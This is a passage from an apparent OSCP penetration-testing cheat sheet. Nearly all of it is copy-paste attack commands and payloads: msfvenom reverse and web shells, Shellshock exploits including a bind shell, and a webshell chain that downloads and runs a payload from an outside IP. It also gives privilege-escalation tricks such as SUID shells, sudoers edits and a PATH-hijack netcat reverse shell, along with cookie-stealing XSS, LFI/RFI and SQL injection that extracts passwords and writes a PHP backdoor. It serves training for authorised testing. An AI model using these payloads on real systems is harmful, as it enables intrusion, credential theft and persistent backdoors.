1023. -   Creating Meterpreter Shells with MSFVenom - http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-
      msfvenom-payloads/
1024.
1025.       *Linux*
1026.
1027.       `msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf`
1028.
1029.       *Windows*
1030.
1031.       `msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe`
1032.
1033.       *Mac*
1034.
1035.       `msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho`
1036.
1037.       **Web Payloads**
1038.
```

```
1039.       *PHP*
1040.
1041.       `msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php`
1042.
1043.       OR
1044.
1045.       `msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php`
1046.
1047.       Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:
1048.
1049.       `cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php`
1050.
1051.       *ASP*
1052.
1053.       `msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp`
1054.
1055.       *JSP*
1056.
1057.       `msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp`
1058.
1059.       *WAR*
1060.
1061.       `msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war`
1062.
1063.       **Scripting Payloads**
1064.
1065.       *Python*
1066.
```

```
1067.       `msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py`
1068.
1069.       *Bash*
1070.
1071.       `msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh`
1072.
1073.       *Perl*
1074.
1075.       `msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl`
1076.
1077.       **Shellcode**
1078.
1079.       For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able
      to be cut and pasted in this language for your exploits.
1080.
1081.       *Linux Based Shellcode*
1082.
1083.       `msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`
1084.
1085.       *Windows Based Shellcode*
1086.
1087.       `msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`
1088.
1089.       *Mac Based Shellcode*
1090.
1091.       `msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`
1092.
1093.       **Handlers**
```

```
1094.       Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
1095.
1096.           use exploit/multi/handler
1097.           set PAYLOAD <Payload name>
1098.           set LHOST <LHOST value>
1099.           set LPORT <LPORT value>
1100.           set ExitOnSession false
1101.           exploit -j -z
1102.
1103.       Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘
1104.
1105. -   SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/
1106.
1107.           use auxiliary/scanner/ssh/ssh_login
1108.           use post/multi/manage/shell_to_meterpreter
1109.
1110. -   Shellshock
1111.
1112.     -   Testing for shell shock with NMap
1113.
1114.     `root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip`
1115.
1116.     -   git clone https://github.com/nccgroup/shocker
1117.
1118.     `./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose`
1119.
1120.     -   Shell Shock SSH Forced Command
```

```
        Check for forced command by enabling all debug output with ssh

              ssh -vvv
              ssh -i noob noob@$ip '() { :;}; /bin/bash'

    -   cat file (view file contents)

              echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo
\\$(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80

    -   Shell Shock run bind shell

             echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e
/bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80

File Transfers
================================================================================================

-   Post exploitation refers to the actions performed by an attacker,
    once some level of control has been gained on his target.

-   Simple Local Web Servers

    -   Run a basic http server, great for serving up shells etc
        python -m SimpleHTTPServer 80

    -   Run a basic Python3 http server, great for serving up shells
        etc
```

```
        python3 -m http.server

    -   Run a ruby webrick basic http server
        ruby -rwebrick -e "WEBrick::HTTPServer.new
        (:Port => 80, :DocumentRoot => Dir.pwd).start"

    -   Run a basic PHP http server
        php -S $ip:80

-   Creating a wget VB Script on Windows:
    [*https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt*](https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt)

-   Windows file transfer script that can be pasted to the command line.  File transfers to a Windows machine can be tricky without a Meterpreter shell.  The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line):

         echo Set args = Wscript.Arguments  >> webdl.vbs
         timeout 1
         echo Url = "http://1.1.1.1/windows-privesc-check2.exe"  >> webdl.vbs
         timeout 1
         echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  >> webdl.vbs
         timeout 1
         echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> webdl.vbs
         timeout 1
         echo xHttp.Open "GET", Url, False  >> webdl.vbs
         timeout 1
         echo xHttp.Send  >> webdl.vbs
         timeout 1
```

```
          echo with bStrm      >> webdl.vbs
          timeout 1
          echo   .type = 1 '      >> webdl.vbs
          timeout 1
          echo   .open      >> webdl.vbs
          timeout 1
          echo   .write xHttp.responseBody      >> webdl.vbs
          timeout 1
          echo   .savetofile "C:\temp\windows-privesc-check2.exe", 2 '  >> webdl.vbs
          timeout 1
          echo end with >> webdl.vbs
          timeout 1
          echo

       The file can be run using the following syntax:

       `C:\temp\cscript.exe webdl.vbs`

-   Mounting File Shares

    -   Mount NFS share to /mnt/nfs
        mount $ip:/vol/share /mnt/nfs

-   HTTP Put
    nmap -p80 $ip --script http-put --script-args
    http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php

-   Uploading Files
```

```
1201.     ---------------------------------------------------------------------------------------------------------
1202.
1203.     -   SCP
1204.
1205.         scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2
1206.
1207.         scp localfile username@$ip:~/Folder/
1208.
1209.         scp Linux_Exploit_Suggester.pl bob@192.168.1.10:~
1210.
1211.
1212.     -   Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a backdoor
1213.
1214.         `davtest -move -sendbd auto -url http://$ip`
1215.
1216.         https://github.com/cldrn/davtest
1217.
1218.         You can also upload a file using the PUT method with the curl command:
1219.
1220.         `curl -T 'leetshellz.txt' 'http://$ip'`
1221.
1222.         And rename it to an executable file using the MOVE method with the curl command:
1223.
1224.         `curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'`
1225.
1226.     -   Upload shell using limited php shell cmd
1227.         use the webshell to download and execute the meterpreter
1228.         \[curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O
```

```
        /tmp/evil" http://$ip/files/sh.php
        \[curl -s --data "cmd=chmod 777 /tmp/evil"
        http://$ip/files/sh.php
        curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php

    -   TFTP
        mkdir /tftp
        atftpd --daemon --port 69 /tftp
        cp /usr/share/windows-binaries/nc.exe /tftp/
        EX. FROM WINDOWS HOST:
        C:\\Users\\Offsec>tftp -i $ip get nc.exe

    -   FTP
        apt-get update && apt-get install pure-ftpd

        \#!/bin/bash
        groupadd ftpgroup
        useradd -g ftpgroup -d /dev/null -s /etc ftpuser
        pure-pw useradd offsec -u ftpuser -d /ftphome
        pure-pw mkdb
        cd /etc/pure-ftpd/auth/
        ln -s ../conf/PureDB 60pdb
        mkdir -p /ftphome
        chown -R ftpuser:ftpgroup /ftphome/

        /etc/init.d/pure-ftpd restart

-   Packing Files
```

```
    ---------------------------------------------------------------------------------------------------

    -   Ultimate Packer for eXecutables
        upx -9 nc.exe

    -   exe2bat - Converts EXE to a text file that can be copied and
        pasted
        locate exe2bat
        wine exe2bat.exe nc.exe nc.txt

    -   Veil - Evasion Framework -
        https://github.com/Veil-Framework/Veil-Evasion
        apt-get -y install git
        git clone https://github.com/Veil-Framework/Veil-Evasion.git
        cd Veil-Evasion/
        cd setup
        setup.sh -c

Privilege Escalation
====================================================================================================

*Password reuse is your friend.  The OSCP labs are true to life, in the way that the users will reuse passwords across different services and even different boxes. Maintain a list of cracked passwords and test them on new machines you encounter.*


-   Linux Privilege Escalation
    ---------------------------------------------------------------------------------------------------
```

```
-   Defacto Linux Privilege Escalation Guide  - A much more through guide for linux enumeration:
    [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)

-   Try the obvious - Maybe the user can sudo to root:

    `sudo su`

-   Here are the commands I have learned to use to perform linux enumeration and privledge escalation:

    What services are running as root?:

    `ps aux | grep root`

    What files run as root / SUID / GUID?:

         find / -perm +2000 -user root -type f -print
         find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
         find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
         find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
         find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
         for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
         find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

    What folders are world writeable?:

         find / -writable -type d 2>/dev/null      # world-writeable folders
```

```
1310.          find / -perm -222 -type d 2>/dev/null     # world-writeable folders
1311.          find / -perm -o w -type d 2>/dev/null     # world-writeable folders
1312.          find / -perm -o x -type d 2>/dev/null     # world-executable folders
1313.          find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders
1314.
1315. -   There are a few scripts that can automate the linux enumeration process:
1316.
1317.       - Google is my favorite Linux Kernel exploitation search tool.  Many of these automated checkers are missing important kernel
      exploits which can create a very frustrating blindspot during your OSCP course.
1318.
1319.       - LinuxPrivChecker.py - My favorite automated linux priv enumeration checker -
1320.
1321.          [https://www.securitysift.com/download/linuxprivchecker.py](https://www.securitysift.com/download/linuxprivchecker.py)
1322.
1323.       - LinEnum - (Recently Updated)
1324.
1325.       [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)
1326.
1327.       - linux-exploit-suggester (Recently Updated)
1328.
1329.       [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)
1330.
1331.       -   Highon.coffee Linux Local Enum - Great enumeration script!
1332.
1333.           `wget https://highon.coffee/downloads/linux-local-enum.sh`
1334.
1335.       -   Linux Privilege Exploit Suggester  (Old has not been updated in years)
1336.
```

```
    [https://github.com/PenturaLabs/Linux\_Exploit\_Suggester](https://github.com/PenturaLabs/Linux_Exploit_Suggester)

      -   Linux post exploitation enumeration and exploit checking tools

    [https://github.com/reider-roque/linpostexp](https://github.com/reider-roque/linpostexp)


Handy Kernel Exploits

-   CVE-2010-2959 - 'CAN BCM' Privilege Escalation - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32)

    [https://www.exploit-db.com/exploits/14814/](https://www.exploit-db.com/exploits/14814/)

         wget -O i-can-haz-modharden.c http://www.exploit-db.com/download/14814
         $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
         $ ./i-can-haz-modharden
         [+] launching root shell!
         # id
         uid=0(root) gid=0(root)

-   CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
    [https://www.exploit-db.com/exploits/15285/](https://www.exploit-db.com/exploits/15285/)

-   CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
    [https://git.zx2c4.com/CVE-2012-0056/about/](https://git.zx2c4.com/CVE-2012-0056/about/)
    Linux CVE 2012-0056

          wget -O exploit.c http://www.exploit-db.com/download/18411
```

```
1365.           gcc -o mempodipper exploit.c
1366.           ./mempodipper
1367.
1368. -   CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
1369.     [https://dirtycow.ninja/](https://dirtycow.ninja/)
1370.     First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016
1371.
1372. -   Run a command as a user other than root
1373.
1374.           sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf
1375.
1376. -   Add a user or change a password
1377.
1378.           /usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor
1379.           echo thePassword | passwd haxzor --stdin
1380.
1381. -   Local Privilege Escalation Exploit in Linux
1382.
1383.     -   **SUID** (**S**et owner **U**ser **ID** up on execution)
1384.         Often SUID C binary files are required to spawn a shell as a
1385.         superuser, you can update the UID / GID and shell as required.
1386.
1387.         below are some quick copy and paste examples for various
1388.         shells:
1389.
1390.               SUID C Shell for /bin/bash
1391.
1392.               int main(void){
```

```
1393.               setresuid(0, 0, 0);
1394.               system("/bin/bash");
1395.               }
1396.
1397.               SUID C Shell for /bin/sh
1398.
1399.               int main(void){
1400.               setresuid(0, 0, 0);
1401.               system("/bin/sh");
1402.               }
1403.
1404.               Building the SUID Shell binary
1405.               gcc -o suid suid.c
1406.               For 32 bit:
1407.               gcc -m32 -o suid suid.c
1408.
1409.     -   Create and compile an SUID from a limited shell (no file transfer)
1410.
1411.               echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c
1412.               gcc privsc.c -o privsc
1413.
1414. -   Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requirement:
1415.
1416.     `echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update`
1417.
1418. -   You may find a command is being executed by the root user, you may be able to modify the system PATH environment variable
1419.     to execute your command instead.  In the example below, ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on
1420.     port 4444.
```

```
1421.
1422.          set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
1423.          echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
1424.          chmod +x ssh
1425.
1426. -   SearchSploit
1427.
1428.              searchsploit –uncsearchsploit apache 2.2
1429.              searchsploit "Linux Kernel"
1430.              searchsploit linux 2.6 | grep -i ubuntu | grep local
1431.              searchsploit slmail
1432.
1433.  -   Kernel Exploit Suggestions for Kernel Version 3.0.0
1434.
1435.      `./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0`
1436.
1437. -   Precompiled Linux Kernel Exploits  - ***Super handy if GCC is not installed on the target machine!***
1438.
1439.     [*https://www.kernel-exploits.com/*](https://www.kernel-exploits.com/)
1440.
1441. -   Collect root password
1442.
1443.     `cat /etc/shadow |grep root`
1444.
1445. -   Find and display the proof.txt or flag.txt - LOOT!
1446.
1447.             cat `find / -name proof.txt -print`
1448.
```

```
-   Windows Privilege Escalation
    ----------------------------------------------------------------------------------------------------------------

-   Windows Privilege Escalation resource
    http://www.fuzzysecurity.com/tutorials/16.html

-   Try the getsystem command using meterpreter - rarely works but is worth a try.

    `meterpreter > getsystem`

-   Metasploit Meterpreter Privilege Escalation Guide
    https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/

-   Windows Server 2003 and IIS 6.0 WEBDAV Exploiting
http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html

         msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt

         cadavar http://$ip
         dav:/> put aspshell.txt
         Uploading aspshell.txt to `/aspshell.txt':
         Progress: [============================>] 100.0% of 38468 bytes succeeded.
         dav:/> copy aspshell.txt aspshell3.asp;.txt
         Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt':  succeeded.
         dav:/> exit

         msf > use exploit/multi/handler
         msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
```

```
1477.          msf exploit(handler) > set LHOST 1.2.3.4
1478.          msf exploit(handler) > set LPORT 80
1479.          msf exploit(handler) > set ExitOnSession false
1480.          msf exploit(handler) > exploit -j
1481.
1482.          curl http://$ip/aspshell3.asp;.txt
1483.
1484.          [*] Started reverse TCP handler on 1.2.3.4:443
1485.          [*] Starting the payload handler...
1486.          [*] Sending stage (957487 bytes) to 1.2.3.5
1487.          [*] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55 -0700
1488.
1489. -   Windows privledge escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller.py into
     an executable and upload them to the remote server.
1490.
1491.          pip install pyinstaller
1492.          wget -O exploit.py http://www.exploit-db.com/download/31853
1493.          python pyinstaller.py --onefile exploit.py
1494.
1495. -   Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:
1496.
1497.       https://www.exploit-db.com/exploits/6705/
1498.
1499.       https://github.com/Re4son/Churrasco
1500.
1501.          c:\Inetpub>churrasco
1502.          churrasco
1503.          /churrasco/-->Usage: Churrasco.exe [-d] "command to run"
```

```
1504.
1505.          c:\Inetpub>churrasco -d "net user /add <username> <password>"
1506.          c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"
1507.          c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"
1508.
1509. -   Windows MS11-080 - http://www.exploit-db.com/exploits/18176/
1510.
1511.           python pyinstaller.py --onefile ms11-080.py
1512.           mx11-080.exe -O XP
1513.
1514. -   Powershell Exploits - You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an
      interactive shell that allows you to enter the powershell prompt.  Once the powershell script is uploaded to the server, here is a
      quick one liner to run a powershell command from a basic (cmd.exe) shell:
1515.
1516.       MS16-032 https://www.exploit-db.com/exploits/39719/
1517.
1518.       `powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"`
1519.
1520.
1521. -   Powershell Priv Escalation Tools
1522.     https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
1523.
1524. -   Windows Run As - Switching users in linux is trival with the `SU` command.  However, an equivalent command does not exist in
      Windows.  Here are 3 ways to run a command as a different user in Windows.
1525.
1526.       -   Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have
      thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for
      Windows and Psexec (on a 64 bit system).
```

```
1527.
1528.               C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
1529.
1530.               PsExec v2.2 - Execute processes remotely
1531.               Copyright (C) 2001-2016 Mark Russinovich
1532.               Sysinternals - www.sysinternals.com
1533.
1534.      -   Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The
    following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:
1535.
1536.               C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
1537.               Enter the password for Test:
1538.               Attempting to start nc.exe as user "COMPUTERNAME\Test" ...
1539.
1540.      -   PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse
    shell as the specified username and password.
1541.
1542.               $username = '<username here>'
1543.               $password = '<password here>'
1544.               $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
1545.               $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
1546.               Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-
    nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public
1547.
1548.             Next run this script using powershell.exe:
1549.
1550.             `powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"`
1551.
```

```
1552.
1553. -   Windows Service Configuration Viewer - Check for misconfigurations
1554.     in services that can lead to privilege escalation. You can replace
1555.     the executable with your own and have windows execute whatever code
1556.     you want as the privileged user.
1557.     icacls scsiaccess.exe
1558.
1559.          scsiaccess.exe
1560.          NT AUTHORITY\SYSTEM:(I)(F)
1561.          BUILTIN\Administrators:(I)(F)
1562.          BUILTIN\Users:(I)(RX)
1563.          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
1564.          Everyone:(I)(F)
1565.
1566. -   Compile a custom add user command in windows using C
1567.
1568.              root@kali:~\# cat useradd.c
1569.              #include <stdlib.h> /* system, NULL, EXIT_FAILURE */
1570.              int main ()
1571.              {
1572.              int i;
1573.              i=system ("net localgroup administrators low /add");
1574.              return 0;
1575.              }
1576.
1577.              i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
1578.
1579. -   Group Policy Preferences (GPP)
```

```
    A common useful misconfiguration found in modern domain environments
    is unprotected Windows GPP settings files

    -   map the Domain controller SYSVOL share

        `net use z:\\dc01\SYSVOL`

    -   Find the GPP file: Groups.xml

        `dir /s Groups.xml`

    -   Review the contents for passwords

        `type Groups.xml`

    -   Decrypt using GPP Decrypt

        `gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB`

-   Find and display the proof.txt or flag.txt - get the loot!

    `#meterpreter  >     run  post/windows/gather/win_privs`
    `cd\ & dir /b /s proof.txt`
    `type c:\pathto\proof.txt`


Client, Web and Password Attacks
================================================================================================================================
```

```
1608.
1609. -   <span id="_pcjm0n4oppqx" class="anchor"><span id="_Toc480741817" class="anchor"></span></span>Client Attacks
1610.     ---------------------------------------------------------------------------------------------------
1611.
1612.     -   MS12-037- Internet Explorer 8 Fixed Col Span ID
1613.         wget -O exploit.html
1614.         <http://www.exploit-db.com/download/24017>
1615.         service apache2 start
1616.
1617.     -   JAVA Signed Jar client side attack
1618.         echo '<applet width="1" height="1" id="Java Secure"
1619.         code="Java.class" archive="SignedJava.jar"><param name="1"
1620.         value="http://$ip:80/evil.exe"></applet>' >
1621.         /var/www/html/java.html
1622.         User must hit run on the popup that occurs.
1623.
1624.     -   Linux Client Shells
1625.         [*http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/*](http://www.lanmaster53.com/2011/05/7-linux-
      shells-using-built-in-tools/)
1626.
1627.     -   Setting up the Client Side Exploit
1628.
1629.     -   Swapping Out the Shellcode
1630.
1631.     -   Injecting a Backdoor Shell into Plink.exe
1632.         backdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip
1633.         -P 4444 -s reverse\_shell\_tcp
1634.
```

```
-   <span id="_n6fr3j21cp1m" class="anchor"><span id="_Toc480741818" class="anchor"></span></span>Web Attacks
    ---------------------------------------------------------------------------------------------------

    -   Web Shag Web Application Vulnerability Assessment Platform
        webshag-gui

    -   Web Shells
        [*http://tools.kali.org/maintaining-access/webshells*](http://tools.kali.org/maintaining-access/webshells)
        ls -l /usr/share/webshells/

    -   Generate a PHP backdoor (generate) protected with the given
        password (s3cr3t)
        weevely generate s3cr3t
        weevely http://$ip/weevely.php s3cr3t

    -   Java Signed Applet Attack

    -   HTTP / HTTPS Webserver Enumeration

        -   OWASP Dirbuster

        -   nikto -h $ip

    -   Essential Iceweasel Add-ons
        Cookies Manager
        https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/
        Tamper Data
        https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
```

```
1663.
1664.     -   Cross Site Scripting (XSS)
1665.         significant impacts, such as cookie stealing and authentication
1666.         bypass, redirecting the victim’s browser to a malicious HTML
1667.         page, and more
1668.
1669.     -   Browser Redirection and IFRAME Injection
1670.         <iframe SRC="http://$ip/report" height = "0" width
1671.         ="0"></iframe>
1672.
1673.     -   Stealing Cookies and Session Information
1674.         <script>
1675.         new
1676.         image().src="http://$ip/bogus.php?output="+document.cookie;
1677.         </script>
1678.         nc -nlvp 80
1679.
1680. -   File Inclusion Vulnerabilities
1681.     ----------------------------------------------------------------------------------------------------------------------
1682.
1683.     -   Local (LFI) and remote (RFI) file inclusion vulnerabilities are
1684.         commonly found in poorly written PHP code.
1685.
1686.     -   fimap - There is a Python tool called fimap which can be
1687.         leveraged to automate the exploitation of LFI/RFI
1688.         vulnerabilities that are found in PHP (sqlmap for LFI):
1689.         [*https://github.com/kurobeats/fimap*](https://github.com/kurobeats/fimap)
1690.
```

```
        -   Gaining a shell from phpinfo()
            fimap + phpinfo() Exploit - If a phpinfo() file is present,
            it’s usually possible to get a shell, if you don’t know the
            location of the phpinfo file fimap can probe for it, or you
            could use a tool like OWASP DirBuster.

    -   For Local File Inclusions look for the include() function in PHP
        code.
        include("lang/".$\_COOKIE\['lang'\]);
        include($\_GET\['page'\].".php");

    -   LFI - Encode and Decode a file using base64
        curl -s
        http://$ip/?page=php://filter/convert.base64-encode/resource=index
        | grep -e '\[^\\ \]\\{40,\\}' | base64 -d

    -   LFI - Download file with base 64 encoding
        [*http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php*](about:blank)

    -   LFI Linux Files:
        /etc/issue
        /proc/version
        /etc/profile
        /etc/passwd
        /etc/passwd
        /etc/shadow
        /root/.bash\_history
        /var/log/dmessage
```

```
1719.         /var/mail/root
1720.         /var/spool/cron/crontabs/root
1721.
1722.     -   LFI Windows Files:
1723.         %SYSTEMROOT%\\repair\\system
1724.         %SYSTEMROOT%\\repair\\SAM
1725.         %SYSTEMROOT%\\repair\\SAM
1726.         %WINDIR%\\win.ini
1727.         %SYSTEMDRIVE%\\boot.ini
1728.         %WINDIR%\\Panther\\sysprep.inf
1729.         %WINDIR%\\system32\\config\\AppEvent.Evt
1730.
1731.     -   LFI OSX Files:
1732.         /etc/fstab
1733.         /etc/master.passwd
1734.         /etc/resolv.conf
1735.         /etc/sudoers
1736.         /etc/sysctl.conf
1737.
1738.     -   LFI - Download passwords file
1739.         [*http://$ip/index.php?page=/etc/passwd*](about:blank)
1740.         [*http://$ip/index.php?file=../../../../etc/passwd*](about:blank)
1741.
1742.     -   LFI - Download passwords file with filter evasion
1743.         [*http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd*](about:blank)
1744.
1745.     -   Local File Inclusion - In versions of PHP below 5.3 we can
1746.         terminate with null byte
```

```
        GET
        /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00

    -   Contaminating Log Files `<?php echo shell_exec($_GET['cmd']);?>`

    -   For a Remote File Inclusion look for php code that is not  sanitized and passed to the PHP include function and the php.ini
        file must be configured to allow remote files

        */etc/php5/cgi/php.ini* - "allow_url_fopen" and "allow_url_include" both set to "on"

        `include($_REQUEST["file"].".php");`

    -   Remote File Inclusion

         `http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt `

         `<?php echo shell\_exec("ipconfig");?>`

-   <span id="_mgu7e3u7svak" class="anchor"><span id="_Toc480741820" class="anchor"></span></span>Database Vulnerabilities
    ---------------------------------------------------------------------------------------------------------------------

    -   Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and
 password

             mysql -u root -p -h $ip
             use "Users"
             show tables;
             select \* from users;
```

```
1774.
1775.    -   Authentication Bypass
1776.
1777.            name='wronguser' or 1=1;
1778.            name='wronguser' or 1=1 LIMIT 1;
1779.
1780.    -   Enumerating the Database
1781.
1782.        `http://192.168.11.35/comment.php?id=738)'`
1783.
1784.        Verbose error message?
1785.
1786.        `http://$ip/comment.php?id=738 order by 1`
1787.
1788.        `http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6  `
1789.
1790.        Determine MySQL Version:
1791.
1792.        `http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6  `
1793.
1794.        Current user being used for the database connection:
1795.
1796.        `http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6  `
1797.
1798.        Enumerate database tables and column structures
1799.
1800.        `http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables  `
1801.
```

```
1802.        Target the users table in the database
1803.
1804.        `http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where
     table_name='users'  `
1805.
1806.        Extract the name and password
1807.
1808.        `http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users `
1809.
1810.        Create a backdoor
1811.
1812.        `http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE
     'c:/xampp/htdocs/backdoor.php'`
1813.
1814.
1815.    -   **SQLMap Examples**
1816.
1817.      - Crawl the links
1818.
1819.         `sqlmap -u http://$ip --crawl=1`
1820.
1821.         `sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3`
1822.
1823.
